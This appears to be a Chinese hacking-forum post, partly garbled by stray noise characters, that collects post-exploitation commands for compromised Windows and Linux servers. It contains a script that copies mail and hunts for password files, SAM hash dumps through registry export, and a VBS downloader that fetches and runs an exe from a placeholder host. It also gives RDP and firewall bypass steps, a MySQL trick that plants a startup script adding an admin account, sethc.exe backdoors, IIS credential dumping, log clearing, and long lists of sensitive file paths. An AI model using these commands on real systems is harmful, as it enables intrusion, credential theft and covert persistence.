5 ~- L$ {4 {" [6 G' W1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
4 n9 |# W4 x, c注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
8 f5 v% C) I( J! o5 y4 q若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
6 I- o* n5 E. I/ T那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
8 m+ Y/ a/ K0 H+ L, @}  

提权先执行systeminfo
# X3 P6 q* R5 @4 Ztoken 漏洞补丁号 KB956572
Churrasco          kb952004
, a' H  R  Q# |' ^' T; \. q命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
6 d5 ^( `) Z+ U2、收集系统信息的脚本  
& I' T( U" t) l  U. s/ U* f3 b/ cfor window：
6 w+ J. Y9 s% W" t  y/ C5 f7 v
@echo off
echo #########system info collection
# x; m- b) x' s+ Csysteminfo
$ X6 H# b# z. i2 gver
" y3 j2 g6 w* J- G; v9 Q1 Chostname
net user
0 o. M( C, i' D7 H" G5 ]4 M* xnet localgroup
3 X# m9 x! K/ enet localgroup administrators
net user guest
net user administrator

# g" _# F! x" j  j8 j* Kecho #######at- with   atq#####
echo schtask /query

7 W2 k; t4 B5 j( h. a2 Y$ s, B4 aecho
  w. d! s+ R' _' ]* e/ Kecho ####task-list#############
tasklist /svc
+ D2 Z4 S2 O" c9 H& K7 necho
echo ####net-work infomation
7 J7 W/ q% r; v) b" c" _ipconfig/all
6 E& v6 \' X2 O) Oroute print
% r2 V2 z" ]0 Rarp -a
netstat -anipconfig /displaydns
echo
. K" t7 ]& L4 e7 oecho #######service############
sc query type= service state= all
+ a( X6 U/ M4 }# S* Lecho #######file-##############
cd \
tree -F
1 b$ X" E1 Z$ [+ k) k$ Y8 Qfor linux：
  Z) c4 u1 b7 H1 W: ~
#!/bin/bash

! i  j" _; r2 q: ]echo #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
, F! b4 ~1 e1 n7 }( h$ L; mcat /proc/meminfo
- T0 x. L/ s" P! ?0 v1 T7 ^) W/ L% xecho
1 U' @/ I; X% k4 X( s( ccat /proc/cpuinfo
0 K7 K# X  M8 oecho
rpm -qa 2>/dev/null
######stole the mail......######
- H# K  ^  \- q2 J% hcp -a /var/mail /tmp/getmail 2>/dev/null
+ V+ q1 {# ]1 d6 y! ]

echo 'u'r id is' `id`
5 ]& h2 G. A4 U) f2 k0 _1 Kecho ###atq&crontab#####
# f" p  k9 @" q, L1 [atq
( j7 J4 `" y( xcrontab -l
$ a5 P. o9 f: ~# K: a3 t8 t5 Hecho #####about var#####
9 b5 j7 I; E0 v6 S% U9 ~set
% _) J, m7 F8 T3 D. ?* y* y# _/ T
echo #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
cat /etc/hosts
hostname
ipconfig -a
$ K1 C  c$ _9 Z0 P8 t) oarp -v
6 M, a( y, l! l  o' V5 Recho ########user####
cat /etc/passwd|grep -i sh
& y1 V/ S, F/ F# D. b( b8 m- S' P
echo ######service####
chkconfig --list

for i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
done

locate passwd >/tmp/password 2>/dev/null
7 `7 v" n7 O/ p+ Csleep 5
locate password >>/tmp/password 2>/dev/null
sleep 5
locate conf >/tmp/sysconfig 2>dev/null
sleep 5
locate config >>/tmp/sysconfig 2>/dev/null
sleep 5

" |( G3 Y6 x% U6 l$ `3 k$ Y& U: g###maybe can use "tree /"###
  ~3 o2 d2 }' Necho ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
7 _  T8 M. ?/ Y6 |2 D——————————————
3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
: _/ `: T/ g. _9 e  ^2 R               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
' z3 d. A! V' s, `注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
+ O5 u6 |% B# |# Z, _接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
4、vbs 下载者
1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
1 |; z0 E3 H- k7 y& ?3 [8 e0 decho sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
. K, U$ x& F9 l) Yecho sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
0 c' F" V- k1 `3 hecho sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
. E% `  n- i4 d" W. Z. ycftmon.vbs

9 o+ B) G& F8 d% ^6 r3 v2
On Error Resume Nextim iRemote,iLocal,s1,s2
! a, p# q  X0 k6 a: `, S3 X6 jiLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
" T( i7 t) q: f4 i. _9 As1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
) g7 s9 `) w: Z; C/ P5 TSet xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
1 S; D; G7 F( n1 \+ `; w3 GsGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

7 y' @: F/ t' _7 R& s8 L5 _' Xcscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe
, d* |7 t$ _% e7 }
当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
! w0 }( @/ Z2 w; @$ L5 g——————————————————
7 v, y7 g2 ]) G1 f2 C$ ]: E5、
1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
! ^  Z5 m( c* W5 M" y% b$ r2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
, `/ N9 o" m7 n) R: xREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
6 [7 l9 u2 C  @+ ?+ }REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
5 @- w0 r1 k! D7 n& b7 S' s! @! j4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
# t$ ^) A+ u  f6 R/ x5 Z1 G————————————————
6、create table a (cmd text);
1 E" ~' O& P: ]  E& o! o$ Hinsert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
( |% g$ a$ d$ k) B/ ginsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
' D( b, K- e% j9 n7 kselect * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
- v& I( u( \5 C; U; @% H————————————————————
7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
, L0 D3 _0 F" N6 o! i* G_____
, i2 l; B/ {  |  E; Z4 J4 }2 G8、for /d %i in (d:\freehost\*) do @echo %i
. c) L/ \8 x# k6 \3 w$ B
列出d的所有目录
2 u1 u' ~$ o) @& e  }  s7 o  
  for /d %i in (???) do @echo %i
. K# u$ N. l+ A! x
把当前路径下文件夹的名字只有1-3个字母的打出来

3 I% b& a, e- l& ]9 ~2.for /r %i in (*.exe) do @echo %i
" N7 ]1 d+ q4 s+ F  
9 m; d1 c* f3 t" h: G9 X以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
: M: z9 _  F: f# q. g* X% r
9 x7 E# \& F# B0 R, P: ifor /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

3.for /f %i in (c:\1.txt) do echo %i
  
. z# y; V5 n/ S  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

  delims=后的空格是分隔符 tokens是取第几个位置
3 [* b3 Q, @+ t3 I——————————
●注册表:
1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
, N5 j, r! Z4 }8 O! {
( R1 \5 Q- [; r. ?8 v. o0 F' i2.修改3389的默认端口:
- J, u2 Y" n4 d' Y# vHKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
' ]- o8 X8 Z3 d: e修改PortNumber.
2 U, o/ V9 i5 x9 s: X5 Z
3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

7 d1 M6 N. {% {3 o4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg

5.禁用TCP/IP端口筛选(需重启):
) E/ C) K; ^2 }* K# ]; K, ]REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

  t+ k  f, b; f2 d/ ~6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
! M9 ~& t& n2 |, ], Z& O9 gnetsh ipsec dynamic set config ipsecexempt value=0
" w" ]  x* i, J! r
7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n
, ~3 \+ {. Z4 G$ e
8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
  J- O7 c4 C( u, P7 Y5 L8 a
; A& l; S9 c: S+ |% q9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
1 C' Y; @+ V- `6 ]: g4 Areg save hklm\security c:\security.hive
5 J, S* ?) A2 j7 _3 @, w& v/ C7 f
- M/ G$ }/ q' c9 H10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

$ Y2 u1 E" l' u; {reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
: v& |1 _: A! j* P; t+ |; E4 ?-----------------------------------
7 \! l% n( X- R: ~星外vbs(注：测试通过，好东西）
2 A1 ]1 C# {8 Z4 ^/ CSet ObjService=GetObject("IIS://LocalHost/W3SVC")
  E' i6 `. V6 |, x: S  `# R6 E# mFor Each obj3w In objservice
childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
+ l' S! z3 v8 d' mset IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
+ p. ^/ p. P0 s6 J7 Y+ p% t  oexit for
9 ?6 y/ p. M* Z5 Rmsgbox("error!")
wscript.quit
end if
% b( }, W2 B4 l; \5 D- u3 userverbindings=IIS.serverBindings
3 y- @& b+ V# t! Q' Z  W/ M. JServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
$ ?; o5 ?6 B* q  H3 ~path=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
4 s+ w3 w/ d/ P0 ^( G2 q$ U. rend if
Next
wscript.echo list
2 t/ k4 j1 L% L4 xSet ObjService=Nothing
4 v& n! U8 z& m/ E' nwscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
8 f& J2 Q: o" A) c* `WScript.Quit
6 h" }9 w5 `: r复制代码
0 F4 L/ H% v) Q% r; |0 E----------------------2011新气象，欢迎各位补充、指正、优化。----------------
  M  x& \  a  ]# ^% U1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
" i5 ?  M+ F/ ^% R2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
; K+ n' ?/ i/ k8 e; ^, `* m1 P<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
" S" c# x6 ^2 Z; S! Y/ O  p复制代码
3 V0 n" Y) v4 w, V2 |4 [( c然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
* m8 {  ?1 g# d0 I9 I0 WPS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
5 f/ B6 H* o' _  B0 u+ V' Y- D  z 原因是ASP大马里有这样的代码：（没有就没事儿了）
1 I# }8 w8 s8 t4 v% x7 p& x# p url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
2 R7 N$ z4 E* t5 Y" n% {9 R+ C' w0 W url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马

6 z% Q" l  p/ g! w, L: k==============================================================
( x2 E" X) c3 c8 [3 FLINUX常见路径：

4 X/ z  |& a: g$ e: H3 e/etc/passwd
# D6 J! G9 a3 F, ]3 ?0 X3 P8 @/etc/shadow
6 C. E7 L0 ?# U0 O1 Y! l/etc/fstab
9 P) E) q9 M, f$ y- O+ I/etc/host.conf
& |7 ~; P1 j' g- a; b9 \, |  ]1 v/etc/motd
  m: A" ^4 \) \# j# U- S+ [/etc/ld.so.conf
+ _0 i7 ~8 P* Y' v) @6 M% g/ b/ L9 C, V/var/www/htdocs/index.php
/var/www/conf/httpd.conf
/var/www/htdocs/index.html
/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
- s$ @" ?1 h) i1 ?: M# ]/var/httpd/conf/httpd.conf
, \/ B& ~. V" p2 A: R/var/httpd/htdocs/index.html
( v/ c4 x8 `+ l0 `/var/httpd/conf/php.ini
/var/www/index.html
/var/www/index.php
/opt/www/conf/httpd.conf
0 y4 _0 O. s. T  O) J3 W/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
5 i" ~: }7 Z; y( f! D. @! f/usr/local/apache/htdocs/index.html
* ~8 i; }6 E  m) x( m0 p4 D/usr/local/apache/htdocs/index.php
$ s6 x3 k, s1 m2 T" W/usr/local/apache2/htdocs/index.html
, p& f: R9 ~8 h; }8 U, t1 ^6 @/usr/local/apache2/htdocs/index.php
/ b8 R+ @- h/ A$ s, Q2 ^2 G, Q/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
% r' r5 D" Y7 b) ~0 M/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
5 C* }0 R# y9 N/etc/httpd/htdocs/index.php
/etc/httpd/conf/httpd.conf
3 p% Y" X0 g5 x9 J$ c+ O/ S/etc/httpd/htdocs/index.html
9 e1 {% E. h" l% H" `7 q/www/php/php.ini
$ `; \' a' J0 V$ ?/www/php4/php.ini
/www/php5/php.ini
/www/conf/httpd.conf
/www/htdocs/index.php
/www/htdocs/index.html
. Q6 ]' F0 h2 U/usr/local/httpd/conf/httpd.conf
. O3 y3 }$ U* x- G  @; L& i% D7 B) _/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
/etc/apache/apache.conf
/etc/apache2/apache.conf
: i5 R# Y( w0 {. L; U/etc/apache/httpd.conf
1 E) F+ I& {' O" A( x0 `/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
1 H6 L) E! d6 f; b6 v/ J. `. t/etc/apache2/sites-available/default
' x# I  J8 I0 Y2 M/etc/phpmyadmin/config.inc.php
5 S8 K! N$ o/ a2 i- L1 I0 [. g3 v/etc/mysql/my.cnf
5 r5 }- M6 h( @/etc/httpd/conf.d/php.conf
+ f7 L& l- ~: K0 J7 k0 e* h4 p/etc/httpd/conf.d/httpd.conf
8 S- i' ~. _  A4 E: A, c/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
* G* o& k5 O1 T& [/etc/httpd/logs/access_log
# r: ]' w/ v* q7 J5 o) i/etc/httpd/logs/access.log
. z+ ?7 |8 ^7 N3 g! l. k/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
0 m3 W0 Y% N% v" {1 x/var/log/apache/error_log
, |2 z5 Q+ c! Q* r3 j. V/var/log/apache/error.log
/var/log/apache/access_log
& M3 h- m  s) `: |  N7 M/var/log/apache/access.log
: A* L1 ]9 Z# W. Y0 u% v/var/log/apache2/error_log
; _  N0 Y  T' K4 X, ~6 F/var/log/apache2/error.log
/var/log/apache2/access_log
; W% t, w9 U% X% ^0 j) T! e* A2 Q/var/log/apache2/access.log
' C! s  ~. J* @% A/var/www/logs/error_log
0 X& Z" b2 O1 J9 g( a% ~. s/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
, D/ h  [( V( J+ z) D/usr/local/apache/logs/error_log
2 o9 v" e4 A- G: e: |/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
( g, Y# Z" h; `$ @) H& |/usr/local/apache/logs/access.log
% z' L2 ~% b' V( V1 V/var/log/error_log
3 G; c6 ^; [, G% n/var/log/error.log
% {6 `" S* [3 u5 q! O4 Y) [/var/log/access_log
/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
$ Q+ h6 X' {3 m/ }  }/ c/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
0 V; ^* U9 ]$ Q/ t! C/ {  U( R4 v/bin/php.ini
9 T' y4 f+ ^9 X, e& q# @/etc/init.d/httpd
4 y5 B, Q- m! \8 f5 V: ]/etc/init.d/mysql
1 j1 ~- E0 [& D9 Q& B1 o! S! H/etc/httpd/php.ini
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/etc/php.ini
/usr/local/lib/php.ini
+ I$ ]0 E; w4 p' n* Z& {3 F  b7 q/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
, h" w% c+ O( i0 u+ w; G" ~3 x, \1 r/usr/local/php4/php.ini
% D; W) Y+ d; u/ p& f% D/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
' b7 ?( |& z! Q6 {% R; B' u7 |/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
7 g5 J! b$ E8 H* z6 H. Q5 n. D/usr/local/apache/conf/php.ini
6 ]% O" M' g' X% O" S. J* l/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
* }4 E, \. T4 c; {0 `% Q+ |& j7 [  V: v/etc/php4.4/fcgi/php.ini
- ?0 J' @. Q: u0 ^! m/etc/php4/apache/php.ini
5 I( V  H! A+ w$ ^$ A  I& a/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
  g4 g' v4 A$ h8 D/ E- x* b( v/etc/php5/apache2/php.ini
# |, _+ B; R: Q/ Z6 B) W/etc/php/php.ini
/etc/php/php4/php.ini
/etc/php/apache/php.ini
/etc/php/apache2/php.ini
0 ~' F" e( s% X; I; _) F( R0 [/web/conf/php.ini
/usr/local/Zend/etc/php.ini
7 i8 R6 H6 \' y. O, t' A& a' h' e. ]/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
6 l; X3 N! k. C3 {# i8 S/var/local/www/conf/httpd.conf
; \3 x( V- Z4 ]: }1 K/etc/php/cgi/php.ini
5 T$ S. ~1 O1 }/etc/php4/cgi/php.ini
2 V' [$ r7 K, }; W/etc/php5/cgi/php.ini
/php5/php.ini
; w! B# k# \. x3 u/php4/php.ini
+ [+ h  I  S( M3 ^2 j/php/php.ini
$ N) ]# K3 Z- Q0 ]% ~0 o  B/PHP/php.ini
- H/ Q2 X& C7 ~5 s/apache/php/php.ini
/xampp/apache/bin/php.ini
$ }8 m  W& }0 {' q7 o% U2 r/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
' b7 V! u* m' |( U5 C! n/home/bin/stable/apache/php.ini
5 @( `% l9 b5 u+ W: z0 \3 T( `& l/var/log/mysql/mysql-bin.log
) Z: ^+ m3 z( N% `* T1 v/var/log/mysql.log
/var/log/mysqlderror.log
/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
) r! r# r" l! m/var/mysql.log
4 g) ~  B+ r8 S. x8 x' L/ p/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
) P6 r& P' ^9 |  D- z3 j/etc/mysql/my.cnf
/etc/my.cnf
+ l0 J3 B& b$ Q  R& x/usr/local/cpanel/logs
4 r4 D# F5 o8 G- n1 w! ~  ?0 J/usr/local/cpanel/logs/stats_log
3 X( `' b2 }! Y6 W+ f. O% K/usr/local/cpanel/logs/access_log
7 g) k# t0 @5 u- `' X, F/usr/local/cpanel/logs/error_log
7 x' B, j. ^/ y+ ^9 l9 w# D  ^/usr/local/cpanel/logs/license_log
  n. z0 S& Y. d1 D. \: N( Q/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini
5 I8 [  A$ h' B1 R- C
( Z' d0 {) y; E/ |2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

c:\windows\php.ini
& Z& o4 y8 m# f4 ^5 Q9 X0 f: [c:\boot.ini
! n: ~, R' d% p9 Y: B9 mc:\1.txt
c:\a.txt

c:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
/ o/ ~' o- a( T1 s& Jc:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
# ]& J3 B* U' ?! ]+ I- UC:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
* \5 s& U! D2 X, j' Z7 ~C:\WINDOWS\7i24tool.exe
6 {4 w1 D/ [8 P8 s# K1 D7 L. f; B
" D5 d' E8 \. S# o/ |* `$ W8 A: Ic:\hzhost\databases\url.asp
0 M" C3 X- O, g: j2 W
c:\hzhost\hzclient.exe
, @9 u: T1 E* lC:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
c:\web\index.html
c:\www\index.html
c:\WWWROOT\index.html
4 t+ k2 F! j1 ]/ X! G) ]% n9 S' G  Kc:\website\index.html
c:\web\index.asp
c:\www\index.asp
3 z: N! B1 Z& e* Cc:\wwwsite\index.asp
8 M$ w- z& @( k  g: sc:\WWWROOT\index.asp
7 |" f& z5 q! z% N# Ec:\web\index.php
9 D) w7 s- O% x9 B3 Yc:\www\index.php
! P- h2 v. ~& c* b3 a9 _c:\WWWROOT\index.php
c:\WWWsite\index.php
% q, Z2 d6 I+ I% r( `( s5 R; {c:\web\default.html
c:\www\default.html
& _! g7 T8 U9 K& C! Z( x' _c:\WWWROOT\default.html
c:\website\default.html
/ G! ^6 v' x" U. xc:\web\default.asp
0 l7 E1 |) P% a0 N0 p- ~) Fc:\www\default.asp
c:\wwwsite\default.asp
c:\WWWROOT\default.asp
! [" Z: E/ U* c% Z3 D+ e6 Nc:\web\default.php
c:\www\default.php
c:\WWWROOT\default.php
) D( M2 Y8 D0 ?& X/ Ec:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
7 ?$ q9 T( u4 F, wc:\windows\notepad.exe
c:\winnt\notepad.exe
4 n; ], J& ]- d' ZC:\Program Files\Microsoft Office\OFFICE10\winword.exe
0 p5 ], F* |- Z/ y' x+ ]$ a$ iC:\Program Files\Microsoft Office\OFFICE11\winword.exe
$ Q: z0 A  j3 w+ E! GC:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
# Q  F# w$ Y( M- y# ~c:\rising.ini
( [3 N% j5 w0 K1 r, v7 BC:\Program Files\Rising\Rav\RsTask.xml
- m2 G  R5 P2 a) ^, Z8 \/ f5 k% XC:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
* O4 D  D2 G1 V7 A/ J5 bC:\Documents and Settings\Administrator\Cookies\index.dat
" o% e6 Z: ]# W6 H  N. ?C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
2 E$ C4 B/ l' E8 p9 _; W3 N1 O: M- \C:\Documents and Settings\Administrator\桌面\1.txt
: z. f, J6 A7 ^C:\Documents and Settings\Administrator\My Documents\a.txt
* P1 c8 p$ _' L2 D, J/ yC:\Documents and Settings\Administrator\桌面\a.txt
6 Q( V+ ?* Z" k3 i5 r, D; TC:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
/ t* X" I/ n8 IE:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
6 t4 x# w' E% i- X* qC:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
" C& G1 N6 c+ c6 ^C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
: Z6 p* w3 e+ I4 {8 mC:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
+ _4 x/ l8 Z9 |$ z4 h! p* LC:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
: @3 Y+ b% ^, _1 ]9 k+ mC:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
1 k) Z+ [' e/ ?0 R* dC:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
3 @( Y* P6 k) S! |" T/ XC:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
$ p- x# I: J6 R7 r$ j1 cC:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
- i- r' I) r/ TC:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\bin\mysql.exe
9 C( }1 N3 ]- Yc:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
C:\WINDOWS\system32\inetsrv\w3wp.exe
" ]: s5 F# o: A/ Q6 z- s" OC:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
1 `5 z0 ], g& @! |$ [7 K1 qC:\WINDOWS\system32\config\default.LOG
, j0 i5 l  b+ w! w/ FC:\WINDOWS\system32\config\sam
( A: C4 ~- ?5 P/ [2 @C:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
6 i. k: }0 U- l  i- k1 g( u3 Oc:\program files\CMailServer\config.ini
( ]& }4 {; t8 y$ k& A) ec:\tomcat6\tomcat6\bin\version.sh
8 L" s5 b" b0 S* p, p: cc:\tomcat6\bin\version.sh
! @0 H. w& o) L9 lc:\tomcat\bin\version.sh
) u" Q; m0 _! M+ kc:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
" q( P* _8 I, Lc:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
c:\Apache2\Apache2\bin\Apache.exe
/ x' g0 a8 t" E9 I5 t& ec:\Apache2\bin\Apache.exe
